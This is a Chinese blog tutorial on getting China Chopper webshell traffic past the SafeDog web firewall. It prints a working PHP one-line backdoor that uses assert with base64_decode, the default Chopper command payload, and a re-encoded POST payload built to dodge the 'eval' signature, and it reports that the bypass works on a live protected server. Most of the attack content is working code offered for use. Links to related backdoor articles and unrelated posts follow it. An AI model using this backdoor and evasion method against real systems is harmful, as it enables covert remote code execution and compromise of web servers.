PHP一句话后门过狗姿势万千之传输层加工
既然木马已就绪,那么想要利用木马,必然有一个数据传输的过程,数据提交是必须的,数据返回一般也会有的,除非执行特殊命令。
当我们用普通菜刀连接后门时,数据时如何提交的,狗狗又是如何识别的,下面结合一个实例,用通俗易懂的方式来演示数据提交层直接过狗原理。
本文意义:纵使网上有很多修改菜刀过狗的方法,但是我都看了下,局限性比较大,而且不太系统,新人学了可能会只是其一不知其二
环境:
域名与服务器均为个人真实所有。
服务器开启网站安全狗+服务器安全狗,引擎全部开启,最高防护级别。
对比环境:
服务器:apache+php5.3;本地:nginx+php5.3无狗环境作为对比
本地与有狗服务器具有相同的后门代码与链接方式
说明:本文仅分析过狗原理与代码实现,技术层面探讨,菜刀或者其他软件制作与修改本文不予讨论。
后门文件:
$a=array(base64_decode($_REQUEST['a']));
@array_map("assert",$a);
菜刀连接方式:http://localhost/test.php?xx=YXNzZXJ0KCRfUkVRVUVTVFsnc29maWEnXSk= 密码:sofia
该文件特征层面可过狗 ,上一篇文章已提到,
我们知道,菜刀已存在这么多年,安全狗早已对菜刀的特征门清,我们先来看下菜刀连接的时候特征是什么。
这是我随便连接的一个后门,其实不管后门代码是什么,打开文件管理,菜刀提交的数据都是一样的,如图
代码为:
sofia=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7ZWNobyAkRC4iXHQiO2lmKHN1YnN0cigkRCwwLDEpIT0iLyIpe2ZvcmVhY2gocmFuZ2UoIkEiLCJaIikgYXMgJEwpaWYoaXNfZGlyKCRMLiI6IikpZWNobygkTC4iOiIpO307ZWNobygifDwtIik7ZGllKCk7
命令执行代码,base64_decode结果为以下,获取当前目录与磁盘名
@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=dirname($_SERVER["SCRIPT_FILENAME"]);echo $D."\t";if(substr($D,0,1)!="/"){foreach(range("A","Z") as $L)if(is_dir($L.":"))echo($L.":");};echo("|<-");die();
其中参数名“sofia”就是我们所谓的菜刀密码不需要多解释吧?
那么我们在本地手工提交菜刀的post数据看一下:
本地正常返回当前目录与磁盘名,而服务端未显示,一定是被拦截咯,事实证明确实如此:
那为什么没蹦出拦截框呢?
根据我的经验,一般文件特征层能检测到是后门,才会弹窗,数据层一般不弹,当然,这只是我个人见解,可能不严谨。
其实狗狗对后门的检测文件特征是与数据提交检测机制是完全独立的。
为了验证这一点,我在同目录下建立一个null.php,内容为正常代码:
当不post数据时,正常输出内容,说明文件本身没有问题
把狗狗的post数据发一下试试?
又没有回显了,再去狗狗日志看下:
菜刀特征分析
那么很明显了,菜刀的post数据已经是个大特征了。
相信大家都能看出来这个eval太惹眼了(当然,其他版本或者其他waf检测的可能会是$_POST,或base64_decode)
sofia=@eval(base64_decode($_POST[z0]));
虽然看上去数据提交不怎么注重隐蔽,但是不得不承认菜刀是个伟大发明。
因为php后门五花八门,接受数据的类型与格式各不相同,于是菜刀就在post数据中再次构造一个执行代码,使得php后门接收到的数据全部统一为:“eval('执行命令')”,这样才使得菜刀的易用性才那么强。
具体代码执行与返回请参考上一章节
修改post数据
既然原因清楚了,我们接下来就修改post数据,修改的重点就在于替换eval特征。
思路一:分离“eval”四个字母即可
但是post数据中发挥空间太小,暂时没想到什么好办法。
思路二:修改后门文件,直接执行语句
这里可能就需要用一些其他回调函数,或者其他猥琐姿势,能够直接执行来自post的base64加密后的纯执行语句。
思路三:直接手工构造eval语句
前面说过,post数据最终的结果为:eval('执行命令')”,而且我们的语句对a参数已经decode的了
$a=array(base64_decode($_REQUEST['a']));
那么就直接把整个eval语句base64加密一下即可,
那么我们菜刀原始的利用语句可以这么构造:
eval('@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=dirname($_SERVER["SCRIPT_FILENAME"]);echo $D."\t";if(substr($D,0,1)!="/"){foreach(range("A","Z") as $L)if(is_dir($L.":"))echo($L.":");};echo("|<-");die();')
然后把这句话base64加密下,得到:
ZXZhbCgnQGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7ZWNobyAkRC4iXHQiO2lmKHN1YnN0cigkRCwwLDEpIT0iLyIpe2ZvcmVhY2gocmFuZ2UoIkEiLCJaIikgYXMgJEwpaWYoaXNfZGlyKCRMLiI6IikpZWNobygkTC4iOiIpO307ZWNobygifDwtIik7ZGllKCk7Jyk=
ok,那么这时候我们是直接把这句话传给$a的,那么post数据为:
a=ZXZhbCgnQGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7ZWNobyAkRC4iXHQiO2lmKHN1YnN0cigkRCwwLDEpIT0iLyIpe2ZvcmVhY2gocmFuZ2UoIkEiLCJaIikgYXMgJEwpaWYoaXNfZGlyKCRMLiI6IikpZWNobygkTC4iOiIpO307ZWNobygifDwtIik7ZGllKCk7Jyk=
试试?
成功返回结果,换个语句试试?
至此,这是数据流层面的过狗方式,当然过狗思路千千万,不限于这一种,更多的是需要大家去发掘。
另外,
这里要跟大家提一点,assert函数与eval函数是完全不同的函数,不要以为能出phpinfo()结果就是过狗了,assert能执行phpinfo()一类的函数,但是其他php语句还是是需要借用eval的,当然,执行命令也不限于eval,还有各种回调函数。
写在最后
怎么?你是不是还想问菜刀怎么连?
本文开头说了,这里仅讨论技术本身,至于如何去用,那么,会php的人,看了这篇文字,应该已经有思路了,
而不会php的人,可能就想着:“博客赶紧给我来个一句话加软件,最好打开就能用”,然后偷偷窃喜指望它能平天下。
我还是那句话,安全之路,我们大多数人还只是个学者,希望多关注技术本身,不要膨胀才好。
PHP一句话后门过狗姿势万千之传输层加工的更多相关文章
- php一句话后门过狗姿势万千之传输层加工【三】
既然木马已就绪,那么想要利用木马,必然有一个数据传输的过程,数据提交是必须的,数据返回一般也会有的,除非执行特殊命令. 当我们用普通菜刀连接后门时,数据时如何提交的,狗狗又是如何识别的,下面结合一个实 ...
- php一句话后门过狗姿势万千之传输层加工(1)
写在前面:过狗相关的资料网上也是有很多,所以在我接下来的文章中,可能观点或者举例可能会与网上部分雷同,或者表述不够全面.但是我只能说,我所传达给大家的信息,是我目前所掌握或者了解的,不能保证所有人都会 ...
- php一句话后门过狗姿势万千之后门构造与隐藏【二】
第二章节主要带给大家一些后门构造思路,与安全狗文件特征检测的机制. 另外强调一下,这篇文章需要大家对于php有一定的认识. 本章节分为三大部分,第一部分针对初级,分析菜刀php代码的执行过程,较基础: ...
- PHP一句话后门过狗姿势万千之后门构造与隐藏
第二章节主要带给大家一些后门构造思路,与安全狗文件特征检测的机制. 另外强调一下,这篇文章需要大家对于php有一定的认识. 本章节分为三大部分,第一部分针对初级,分析菜刀php代码的执行过程,较基础: ...
- PHP一句话后门过狗姿势万千之理论篇
写在前面: 过狗相关的资料网上也是有很多,所以在我接下来的文章中,可能观点或者举例可能会与网上部分雷同,或者表述不够全面. 但是我只能说,我所传达给大家的信息,是我目前所掌握或者了解的,不能保证所有人 ...
- 那些强悍的PHP一句话后门
强悍的PHP一句话后门这类后门让网站.服务器管理员很是头疼,经常要换着方法进行各种检测,而很多新出现的编写技术,用普通的检测方法是没法发现并处理的.今天我们细数一些有意思的PHP一句话木马.利用404 ...
- 一些变态的PHP一句话后门收集
这类后门让网站.服务器管理员很是头疼,经常要换着方法进行各种检测,而很多新出现的编写技术,用普通的检测方法是没法发现并处理的.今天我们细数一些有意思的PHP一句话木马. 利用404页面隐藏PHP小马 ...
- 强大的PHP一句话后门
强悍的PHP一句话后门 这类后门让网站.服务器管理员很是头疼,经常要换着方法进行各种检测,而很多新出现的编写技术,用普通的检测方法是没法发现并处理的. 今天我们细数一些有意思的PHP一句话木马. 1 ...
- 9. 那些强悍的PHP一句话后门
强悍的PHP一句话后门 这类后门让网站.服务器管理员很是头疼,经常要换着方法进行各种检测,而很多新出现的编写技术,用普通的检测方法是没法发现并处理的.今天我们细数一些有意思的PHP一句话木马. 利用4 ...
随机推荐
- 【旧文章搬运】Windows内核常见数据结构(基本类型)
原文发表于百度空间,2008-7-23 ========================================================================== 学内核从基 ...
- Spring中AOP的两种代理方式(Java动态代理和CGLIB代理)
第一种代理即Java的动态代理方式上一篇已经分析,在这里不再介绍,现在我们先来了解下GCLIB代理是什么?它又是怎样实现的?和Java动态代理有什么区别? cglib(Code Generation ...
- div 加滚动条的方法
div 加滚动条的方法: <div style="position:absolute; height:400px; overflow:auto"></div> ...
- 6-11 SVM支持向量机2
SVM支持向量机的核:线性核.进行预测的时候我们需要把正负样本的数据装载在一起,同时我们label标签也要把正负样本的数据全部打上一个label. 第四步,开始训练和预测.ml(machine lea ...
- Windows远程服务器不能复制粘贴
操作步骤: 在服务器上打开任务管理器,查看进程,有 rdpclip.exe 进程,关闭此进程: 然后 开始->运行->rdpclip.exe 重新运行此程序,恢复正常.
- Moctf--没时间解释了
记录一道简单的题目. 打开后就张这个样子,,然后看到url为index2.php---->所以我们把它改为index.php(用burp抓包才行,这是一个302跳转). 看到它提示我们要uplo ...
- SDUT2161:Simple Game(NIM博弈+巴什博弈)
传送门 题意 n堆石子,每次可以取一堆至三堆任意非零石子数,取完者赢,问最后谁能赢 分析 以前我们做过NIM博弈是对一堆进行操作,现在换成了三堆,其实对于n堆都一样一堆的情况 如果最后二进制每位数的1 ...
- 基础BFS+DFS poj3083
//满基础的一道题 //最短路径肯定是BFS. //然后靠右,靠左,就DFS啦 //根据前一个状态推出下一个状态,举靠左的例子,如果一开始是上的话,那么他的接下来依次就是 左,上 , 右 , 下 // ...
- MongoDb Samus c# Find函数的使用说明
长活短说, 网上有一些是不对的 比如 Op.GreaterThan(...).LessThan(..) 不能这么用来表示 ( , ) 而应该这么用: var doc = new Document( a ...
- js和jquery给iframe src赋值的3种方法
js和jquery给iframe src赋值的3种方法 网页使用iframe嵌入网页时,有时候需要动态处理src的值,而不是写死的,所以我们需要知道如何给iframe src赋值,通常是使用js或 ...